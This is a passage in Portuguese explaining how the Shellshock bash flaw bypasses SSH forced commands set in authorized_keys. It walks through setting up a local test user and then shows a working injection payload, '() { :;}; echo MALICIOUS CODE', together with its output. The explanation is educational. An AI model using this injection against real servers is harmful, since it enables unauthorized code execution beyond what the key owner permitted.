Um exemplo em que isso pode ser explorado é em servidores com um comando authorized_keys
forced. Ao adicionar uma entrada a ~/.ssh/authorized_keys
, você pode prefixar a linha com command="foo"
para forçar o foo
a ser executado sempre que a chave pública ssh for usada. Com essa exploração, se o shell do usuário de destino estiver definido como bash
, eles poderão aproveitar a exploração para executar outras coisas além do comando para o qual são forçados.
Isso provavelmente faria mais sentido no exemplo, então aqui está um exemplo:
sudo useradd -d /testuser -s /bin/bash testuser
sudo mkdir -p /testuser/.ssh
sudo sh -c "echo command=\\"echo starting sleep; sleep 1\\" $(cat ~/.ssh/id_rsa.pub) > /testuser/.ssh/authorized_keys"
sudo chown -R testuser /testuser
Aqui, configuramos um usuário testuser
, que força qualquer conexão ssh usando sua chave ssh para executar echo starting sleep; sleep 1
.
Podemos testar isso com:
$ ssh testuser@localhost echo something else
starting sleep
Observe como o echo something else
não é executado, mas o starting sleep
mostra que o comando forçado foi executado.
Agora vamos mostrar como essa exploração pode ser usada:
$ ssh testuser@localhost '() { :;}; echo MALICIOUS CODE'
MALICIOUS CODE
starting sleep
Isso funciona porque sshd
define a variável de ambiente SSH_ORIGINAL_COMMAND
para o comando passado. Portanto, mesmo que sshd
tenha executado sleep
, e não o comando que eu disse, por causa da exploração, meu código ainda é executado.